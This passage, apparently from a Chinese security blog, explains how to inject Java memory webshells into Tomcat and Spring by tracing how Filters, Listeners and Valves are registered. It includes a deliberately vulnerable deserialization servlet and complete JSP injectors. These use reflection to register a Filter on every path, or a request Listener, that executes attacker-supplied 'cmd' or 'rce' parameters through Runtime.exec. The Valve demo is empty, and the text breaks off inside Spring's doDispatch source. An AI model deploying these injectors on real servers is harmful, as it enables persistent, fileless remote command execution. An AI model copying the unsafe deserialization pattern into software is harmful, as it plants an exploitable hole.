Field var3 = getField(var0, var1);
var3.setAccessible(true);
var3.set(var0, var2);
}

public static Object invokeMethod(Object var0, String var1, Class<?>[] var2, Object[] var3) {
try {
Class var4 = var0 instanceof Class ? (Class)var0 : var0.getClass();
Method var5 = null;

while(var4 != null && var5 == null) {
try {
if (var2 == null) {
var5 = var4.getDeclaredMethod(var1);
} else {
var5 = var4.getDeclaredMethod(var1, var2);
}
} catch (NoSuchMethodException var7) {
var4 = var4.getSuperclass();
}
}

if (var5 == null) {
throw new NoSuchMethodException("Method not found: " + var1);
} else {
var5.setAccessible(true);
return var5.invoke(var0 instanceof Class ? null : var0, var3);
}
} catch (Exception var8) {
throw new RuntimeException("Error invoking method: " + var1, var8);
}
}
}

测试内存马

搭建一个反序列化的环境,来测试注入内存马

在依赖中添加 CC3.2.1 的依赖,注意把 jdk 版本调到 8u71 以下:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

然后准备一个反序列化的 Servlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.servlet;

import java.io.*;
import java.util.Base64;
import javax.servlet.http.*;

public class SerServlet extends HttpServlet {
public void init() {
}

public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
byte[] code = Base64.getDecoder().decode(request.getParameter("data"));
ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(code));
try {
input.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}

public void destroy() {
}
}

最后成功注入:


Tomcat Filter 型内存马

同理,我们要先分析 Filter 的注册流程

流程分析

搭建环境,创建一个 TestFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.filter;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {

public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}

public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>com.filter.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
</web-app>

在 doFilter 下断点:

跟进,发现调 internalDoFilter

继续跟进:

filters 数组中获取 **filterConfig , **又从 filterConfig 中获取 FilterDef

( 这里能看出所有的 filter 应该都是存放在一个数组中的 , 当上一个 filter 调用到这个方法时 , 数组下标会 ++ . 这样当再次调用到这个方法时 , 就会调用下一个 filter 了 )

我们可以看堆栈来分析这些东西都是怎么来的,向上回溯到 org.apache.catalina.core.StandardWrapperValve#invoke:

会看到有这样一行:

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

可以跟进一下看看具体做了什么:

1
2
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

首先获取了 standardContext , 然后调用它的 findFilterMaps 方法 , 拿到了一个 FilterMaps 数组

FilterMap 存储的是所有 filter 的映射信息:

然后如果 FilterMaps 没有东西的话就直接返回整个 chain了:

1
2
3
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}

有东西的话继续:

for 循环遍历 filtermap , 找到匹配的 filtermap 之后获取 filter 的 name , 然后去 standardContext 中查找这个 filter 的配置信息 , 最后将 filter 添加到 filterchain 中 :

大致流程如下,这里引用别人的图:


现在我们终于找到了最终添加 filter 的地方 , 不过我们不能直接调这里的 addFilter 方法去添加我们的 filter 内存马

因为每一次请求都会调用 createFilterChain 去新建一个 filterChain , 如果我们在这里添加 , 只会添加到当前的请求中 , 下一次请求不会生效

所以我们应该看 filterMaps , 因为每一次 filterChain 的创建都是调用 standardContext 的 findFilterMaps 方法去 filterMaps 中获取的 filter

看一下 filterMaps 是怎么赋值的:

看到有个 standardContext 有个 addFilterMap 方法 , standardContext 我们是可以拿到的

所以我们可以自己 new 一个 FilterMap 数组,设置好值(filterName,urlPatterns,dispatcherMapping)之后调用 standardContext 的 addFilterMapBefore 方法将它添加到数组中

然后还没结束,后面会去获取 filterConfig,如果为空就不会 addFilter:

111 行跟进看看是怎么获取配置的:

这个 filterConfigs 是个 HashMap:

看一下哪里会给它赋值:

有个地方调用了 put 方法,应该就是我们要的,跟进看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public boolean filterStart() {

if (getLogger().isTraceEnabled()) {
getLogger().trace("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterDefs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isTraceEnabled()) {
getLogger().trace(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(throwable);
getLogger().error(sm.getString("standardContext.filterStart", name), throwable);
ok = false;
}
}
}

return ok;
}

这里从 filterDefs 中获取所有键值对 , 然后用它们创建 filterConfig 并 put 到 filterConfigs 中

这里就把我们要做的做了,所以我们只要在 filterDefs 里面把配置信息都弄好,然后调用这个 filterStart 即可

下一步就是看 filterDefs 了 , filterDefs 也是个 hashmap :

发现只有一个地方调用了 put,org.apache.catalina.core.StandardContext#addFilterDef

1
2
3
4
5
6
7
8
9
@Override
public void addFilterDef(FilterDef filterDef) {

synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);

}

总结一下赋值流程 :

1
2
StandardContext.addFilterDef() -> filterDefs -> filterConfigs (配置 filter 类的信息)
StandardContext.addFilterMap() -> filterMaps (主要是映射相关)

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = "filter";
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

standardContext.filterStart();

}
%>

Tomcat Listener 内存马

流程分析

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;

public class TestListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if (servletRequestEvent.getServletRequest().getParameter("cmd") != null)
try {
Runtime.getRuntime().exec(servletRequestEvent.getServletRequest().getParameter("cmd"));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<listener>
<listener-class>com.listener.TestListener</listener-class>
</listener>
</web-app>

在 requestInitialized 下断点,看上一帧是什么:

这里的 listener 就是我们的 TestListener,我们追踪一下它是怎么来的,这样就知道我们该往哪里赋值了

就在上面几行:

1
ServletRequestListener listener = (ServletRequestListener) instance;

继续向上跟这个 instance:

跟 instances 数组:

跟进 getApplicationEventListeners 看看:

所以我们只要往这个 list 里面放入我们的 listener 就可以了

找赋值函数:

依旧是 standardContext , 直接新建一个 Listener 然后赋值即可

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>

<%!
public class ShellListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("rce");
if (cmd != null)
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
standardContext.addApplicationEventListener(new ShellListener());
out.println("inject success");
%>

Tomcat Valve 内存马

Valve 及 Pipeline 概念

这里直接引用别人的文章

之前我们在前面介绍过,tomcat中Container有4种,分别是Engine,Host,Context,Wrapper,这4个Container的实现类分别是StandardEngine,StandardHost,StandardContext,StandardWrapper。4种容器的关系是包含关系,Engine包含Host,Host包含Context,Context包含Wrapper,Wrapper则代表最基础的一个Servlet

tomcat由ConnectorContainer两部分组成,而当网络请求过来的时候Connector先将请求包装为Request,然后将Request交由Container进行处理,最终返回给请求方。而Container处理的第一层就是Engine容器,但是在tomcat中Engine容器不会直接调用Host容器去处理请求,那么请求是怎么在4个容器中流转的,4个容器之间是怎么依次调用的,我们今天来讲解下。

当请求到达Engine容器的时候,Engine并非是直接调用对应的Host去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline组件,跟pipeline相关的还有个也是容器内部的组件,叫做valve组件。

Pipeline的作用就如其中文意思一样管道,可以把不同容器想象成一个独立的个体,那么pipeline就可以理解为不同容器之间的管道,道路,桥梁。那Valve这个组件是什么东西呢?Valve也可以直接按照字面意思去理解为阀门。pipeline是通道,valve是阀门,他们两有什么关系呢?

就像上图那样,每个管道上面都有阀门,PipelineValve关系也是一样的。Valve代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。如果把Pipeline比作公路的话,那么Valve可以理解为公路上的收费站,车代表Pipeline中的内容,那么每个收费站都会对其中的内容做一些处理(收费,查证件等)。

好了举例说完了,我们继续回归tomcat。在Catalina中,我们有4种容器,每个容器都有自己的Pipeline组件,每个Pipeline组件上至少会设定一个Valve(阀门),这个Valve我们称之为BaseValve(基础阀)。基础阀的作用是连接当前容器的下一个容器(通常是自己的自容器),可以说基础阀是两个容器之间的桥梁。

Pipeline定义对应的接口Pipeline,标准实现了StandardPipelineValve定义对应的接口Valve,抽象实现类ValveBase,4个容器对应基础阀门分别是StandardEngineValve,StandardHostValve,StandardContextValve,StandardWrapperValve。在实际运行中Pipeline,Valve运行机制如下图。

在单个容器中Pipeline,Valve运行图

Catalina中Pipeline,Valve运行图

可以看到在同一个Pipeline上可以有多个Valve,每个Valve都可以做一些操作,无论是Pipeline还是Valve操作的都是RequestResponse。而在容器之间PipelineValve则起到了桥梁的作用,那么具体内部原理是什么,我们开始查看源码。

可以看到在同一个Pipeline上可以有多个Valve,每个Valve都可以做一些操作,无论是Pipeline还是Valve操作的都是RequestResponse。而在容器之间PipelineValve则起到了桥梁的作用,那么具体内部原理是什么,我们开始查看源码。

Valve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public interface Valve {

public String getInfo();

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response) throws IOException, ServletException;

public void event(Request request, Response response, CometEvent event) throws IOException,ServletException;

public boolean isAsyncSupported();

}

先看Valve接口的方法定义,方法不是很多,这里只介绍setNext(),getNext()。在上面我们也看到了一个Pipeline上面可以有很多Valve,这些Valve存放的方式并非统一存放在Pipeline中,而是像一个链表一个接着一个。当你获取到一个Valve实例的时候,调用getNext()方法即可获取在这个Pipeline上的下个Valve实例。

Pipeline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//pipeline 接口
public interface Pipeline {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public Valve getFirst();

public boolean isAsyncSupported();

public Container getContainer();

public void setContainer(Container container);

}

可以看出Pipeline中很多的方法都是操作Valve的,包括获取,设置,移除Valve,getFirst()返回的是Pipeline上的第一个Valve,而getBasic(),setBasic()则是获取/设置基础阀,我们都知道在Pipeline中,每个pipeline至少都有一个阀门,叫做基础阀,而getBasic(),setBasic()则是操作基础阀的。

StandardPipeline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
public class StandardPipeline extends LifecycleBase implements Pipeline, Contained {

private static final Log log = LogFactory.getLog(StandardPipeline.class);

// ----------------------------------------------------------- Constructors

public StandardPipeline() {
this(null);
}

public StandardPipeline(Container container) {
super();
setContainer(container);
}

// ----------------------------------------------------- Instance Variables

protected Valve basic = null;

protected Container container = null;

protected static final String info = "org.apache.catalina.core.StandardPipeline/1.0";

protected Valve first = null;

//1111111111
@Override
protected synchronized void startInternal() throws LifecycleException {

// Start the Valves in our pipeline (including the basic), if any
Valve current = first;
if (current == null) {
current = basic;
}
while (current != null) {
if (current instanceof Lifecycle)
((Lifecycle) current).start();
current = current.getNext();
}

setState(LifecycleState.STARTING);
}

// ------------------------------------------------------- Pipeline Methods
//2222222222222222222222
@Override
public void setBasic(Valve valve) {

// Change components if necessary
Valve oldBasic = this.basic;
if (oldBasic == valve)
return;

// Stop the old component if necessary
if (oldBasic != null) {
if (getState().isAvailable() && (oldBasic instanceof Lifecycle)) {
try {
((Lifecycle) oldBasic).stop();
} catch (LifecycleException e) {
log.error("StandardPipeline.setBasic: stop", e);
}
}
if (oldBasic instanceof Contained) {
try {
((Contained) oldBasic).setContainer(null);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
}
}
}

// Start the new component if necessary
if (valve == null)
return;
if (valve instanceof Contained) {
((Contained) valve).setContainer(this.container);
}
if (getState().isAvailable() && valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
log.error("StandardPipeline.setBasic: start", e);
return;
}
}

// Update the pipeline
Valve current = first;
while (current != null) {
if (current.getNext() == oldBasic) {
current.setNext(valve);
break;
}
current = current.getNext();
}

this.basic = valve;

}

//3333333333333333333
@Override
public void addValve(Valve valve) {

// Validate that we can add this Valve
if (valve instanceof Contained)
((Contained) valve).setContainer(this.container);

// Start the new component if necessary
if (getState().isAvailable()) {
if (valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
log.error("StandardPipeline.addValve: start: ", e);
}
}
}

// Add this Valve to the set associated with this Pipeline
if (first == null) {
first = valve;
valve.setNext(basic);
} else {
Valve current = first;
while (current != null) {
if (current.getNext() == basic) {
current.setNext(valve);
valve.setNext(basic);
break;
}
current = current.getNext();
}
}

container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve);
}

//44444444444
@Override
public Valve[] getValves() {
ArrayList<Valve> valveList = new ArrayList<Valve>();
Valve current = first;
if (current == null) {
current = basic;
}
while (current != null) {
valveList.add(current);
current = current.getNext();
}

return valveList.toArray(new Valve[0]);

}


//5555555555555555
@Override
public void removeValve(Valve valve) {

Valve current;
if(first == valve) {
first = first.getNext();
current = null;
} else {
current = first;
}
while (current != null) {
if (current.getNext() == valve) {
current.setNext(valve.getNext());
break;
}
current = current.getNext();
}

if (first == basic) first = null;

if (valve instanceof Contained)
((Contained) valve).setContainer(null);

if (valve instanceof Lifecycle) {
// Stop this valve if necessary
if (getState().isAvailable()) {
try {
((Lifecycle) valve).stop();
} catch (LifecycleException e) {
log.error("StandardPipeline.removeValve: stop: ", e);
}
}
try {
((Lifecycle) valve).destroy();
} catch (LifecycleException e) {
log.error("StandardPipeline.removeValve: destroy: ", e);
}
}

container.fireContainerEvent(Container.REMOVE_VALVE_EVENT, valve);
}




//666666666666
@Override
public Valve getFirst() {
if (first != null) {
return first;
}

return basic;
}
}

StandardPipeline标准实现类中我们看到了对Pipeline接口的实现,这里选了几个比较重要的方法做源码的解析。

方法1是startInternal()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//1111111111
@Override
protected synchronized void startInternal() throws LifecycleException {

// Start the Valves in our pipeline (including the basic), if any
Valve current = first;
if (current == null) {
current = basic;
}
while (current != null) {
if (current instanceof Lifecycle)
((Lifecycle) current).start();
current = current.getNext();
}

setState(LifecycleState.STARTING);
}

组件的start()方法,将first(第一个阀门)赋值给current变量,如果current为空,就将basic(也就是基础阀)赋值给current , 接下来如果是一个标准的遍历单向链表,调用每个对象的start()方法,最后将组件(pipeline)状态设置为STARTING(启动中)。

方法2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//2222222222222222222222
@Override
public void setBasic(Valve valve) {

// Change components if necessary
//如果已经有基础阀(basic已经有值并且跟要设置的值一样)那么直接return
Valve oldBasic = this.basic;
if (oldBasic == valve)
return;

// Stop the old component if necessary
//旧的基础阀非空 那么调用其stop方法取消和对应container的关联。(销毁旧的基础阀)
if (oldBasic != null) {
if (getState().isAvailable() && (oldBasic instanceof Lifecycle)) {
try {
((Lifecycle) oldBasic).stop();
} catch (LifecycleException e) {
log.error("StandardPipeline.setBasic: stop", e);
}
}
if (oldBasic instanceof Contained) {
try {
((Contained) oldBasic).setContainer(null);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
}
}
}

// Start the new component if necessary
//非空判断
if (valve == null)
return;
//和Container进行关联
if (valve instanceof Contained) {
((Contained) valve).setContainer(this.container);
}
//启动新的阀门
if (getState().isAvailable() && valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
log.error("StandardPipeline.setBasic: start", e);
return;
}
}
//遍历阀门链表将新的阀门取代旧的阀门
// Update the pipeline
Valve current = first;
while (current != null) {
if (current.getNext() == oldBasic) {
current.setNext(valve);
break;
}
current = current.getNext();
}
//将基础阀设置为新的阀门
this.basic = valve;

}

方法2是用来设置基础阀的方法,这个方法在每个容器的构造函数中调用,代码逻辑也比较简单,稍微注意的地方就是阀门链表的遍历。

方法3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//3333333333333333333
@Override
public void addValve(Valve valve) {

// Validate that we can add this Valve
// 验证Valve 关联Container
if (valve instanceof Contained)
((Contained) valve).setContainer(this.container);

// Start the new component if necessary
// 验证组件状态,如果对的话 启动需要添加的Valve,调用start方法。
if (getState().isAvailable()) {
if (valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
log.error("StandardPipeline.addValve: start: ", e);
}
}
}
//如果 first变量为空,将valve赋值给first变量,并且设置 valve的下一个阀门为基础阀
//之所以这样是因为,如果first为空说明这个容器只有一个基础阀,所以此次添加的阀门肯定是第一个非基础阀阀门
// Add this Valve to the set associated with this Pipeline
if (first == null) {
first = valve;
valve.setNext(basic);
} else {
//否则 遍历阀门链表,将要被添加的阀门设置在 基础阀之前。
Valve current = first;
while (current != null) {
if (current.getNext() == basic) {
current.setNext(valve);
valve.setNext(basic);
break;
}
current = current.getNext();
}
}
//container触发添加阀门事件
container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve);
}

这方法是像容器中添加Valve,在server.xml解析的时候也会调用该方法,具体代码可以到Digester相关的文章中寻找。

方法4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//44444444444
@Override
public Valve[] getValves() {
ArrayList<Valve> valveList = new ArrayList<Valve>();
Valve current = first;
if (current == null) {
current = basic;
}
while (current != null) {
valveList.add(current);
current = current.getNext();
}

return valveList.toArray(new Valve[0]);

}

获取所有的阀门,其实就是将阀门链表添加到一个集合内,最后转成数组返回。

方法5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//5555555555555555
@Override
public void removeValve(Valve valve) {

Valve current;
//如果first 是需要被移除的valve 那么将first的下一个阀门赋值给first
//并且current 赋值null,否则current 赋值first
if(first == valve) {
first = first.getNext();
current = null;
} else {
current = first;
}
//遍历阀门链表 查找需要被移除的阀门
//如果之前first是被移除的话 current = null是不会进入该循环
while (current != null) {
if (current.getNext() == valve) {
current.setNext(valve.getNext());
break;
}
current = current.getNext();
}
//如果first(此时已经指向下一个阀门)此时 == 基础阀,那么first置空
//从这里可以看出来 first指的是第一个阀门,即使整个container只有一个基础阀门也不会指向基础阀。
//first严格定义是 除了基础阀的第一个阀门。
if (first == basic) first = null;

//验证需要被移除的阀门 取消container关联
if (valve instanceof Contained)
((Contained) valve).setContainer(null);

//调用阀门的生命周期 stop destroy 方法。
if (valve instanceof Lifecycle) {
// Stop this valve if necessary
if (getState().isAvailable()) {
try {
((Lifecycle) valve).stop();
} catch (LifecycleException e) {
log.error("StandardPipeline.removeValve: stop: ", e);
}
}
try {
((Lifecycle) valve).destroy();
} catch (LifecycleException e) {
log.error("StandardPipeline.removeValve: destroy: ", e);
}
}
//触发container的移除valve事件。
container.fireContainerEvent(Container.REMOVE_VALVE_EVENT, valve);
}

方法666666

1
2
3
4
5
6
7
8
9
//666666666666
@Override
public Valve getFirst() {
if (first != null) {
return first;
}

return basic;
}

在方法5中我们也看到了,first指向的是容器第一个非基础阀门的阀门,从方法6中也可以看出来,first在只有一个基础阀的时候并不会指向基础阀,因为如果指向基础阀的话就不需要判断非空然后返回基础阀了,这是个需要注意的点


这里由于我们是注入内存马 , 所以只要关注 addValve 方法即可

那么我们怎么动态添加一个 Valve 呢?

随便在一个 Servlet 的方法下断点 , 会发现调用栈里面有很多 invoke 方法 :

这里就是从 standardContext 中获取 pipeline , 然后获取 valve 并调用它的 invoke 方法

既然这样那我们从 standardContext 中获取 pipeline , 然后调用 addValve 就可以了

Demo

1

Spring Controller 内存马

流程分析

我们知道在 Spring 中 , Controller 是负责对特定路由的请求进行处理的组件 , 所以我们想要在 Spring 环境中注入内存马就是要动态注册 Controller

先写个测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
package com.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
@RequestMapping("/test")
public String test() {
return "test";
}
}

在 test() 下断点,开始调试

跟踪堆栈回溯到 org.springframework.web.servlet.DispatcherServlet#doService

DispatcherServlet 负责将请求分发给其他组件,是整个 Spring MVC 流程的核心 , 后续就会找到对应的 Controller 进行处理 , 所以我们以他为起点去分析 Controller 是怎么来的 :

首先第一行是 记录请求的日志 , 不重要

然后判断当前请求是否是 请求包含,如果是的话会创建一个快照,记录当前请求中的属性

这个目的是:在处理 include 请求时保存原始请求属性状态,以便在 include 完成后能够恢复原始环境

不重要 , 继续:

这里是将 Spring 的核心组件添加到 当前 HTTP 请求的上下文 中

Spring 中有 九大组件:

DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;

HandlerMapping(处理器映射):用于确定请求的处理器(Controller);

HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;

HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;

Controller(控制器):处理用户请求并返回适当的模型和视图;

ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;

ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;

LocaleResolver(区域解析器):处理区域信息,用于国际化;

ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。

接着看:

这段代码是 Spring MVC 中处理 Flash Map 的逻辑,主要用于在重定向(redirect)场景下保持请求之间的数据传递

举一个例子,一个人完成了注册,需要重定向到登录页面:

1
2
3
4
5
6
7
8
9
// 在控制器中
@PostMapping("/create-user")
public String createUser(@RequestParam String username, RedirectAttributes redirectAttrs) {
......
redirectAttrs.addFlashAttribute("message", "User created successfully!");
return "redirect:/login";
}

// 在重定向后的页面中可以直接使用 ${message}

不重要 , 接着看:

这段代码的主要目的是为当前请求准备标准化的路径信息,使其在整个请求处理过程中可以被一致地访问和使用,同时保存原始状态以便后续恢复 , 也不重要

接下来调用了 doDispatch(request, response); 这里就是分发请求的具体逻辑了 , 重要 , 跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
@SuppressWarnings("deprecation")
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;

WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

try {
ModelAndView mv = null;
Exception dispatchException = null;

try {
// 检查并处理 multipart 请求,返回可能被包装后的请求对象
processedRequest = checkMultipart(request);
multipartRequestParsed = (processedRequest != request);

// 获取当前请求对应的处理器执行链(包含处理器和拦截器)
mappedHandler = getHandler(processedRequest);
if (mappedHandler == null) {
// 如果没有找到处理器,则返回 404 错误
noHandlerFound(processedRequest, response);
return;
}

// 根据处理器获取支持它的 HandlerAdapter
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());

// 处理 GET/HEAD 请求的 last-modified 头部逻辑(如果支持)
String method = request.getMethod();
boolean isGet = HttpMethod.GET.matches(method);
if (isGet || HttpMethod.HEAD.matches(method)) {
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
return;
}
}

// 应用所有拦截器的 preHandle 方法
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}

// 实际调用处理器处理请求,并返回 ModelAndView 结果
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

// 如果已启动异步处理,则直接返回
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}

// 如果 ModelAndView 没有设置视图名,则尝试应用默认视图名
applyDefaultViewName(processedRequest, mv);
// 应用所有拦截器的 postHandle 方法
mappedHandler.applyPostHandle(processedRequest, response, mv);
}
catch (Exception ex) {
dispatchException = ex;
}
catch (Throwable err) {
// As of 4.3, we're processing Errors thrown from handler methods as well,
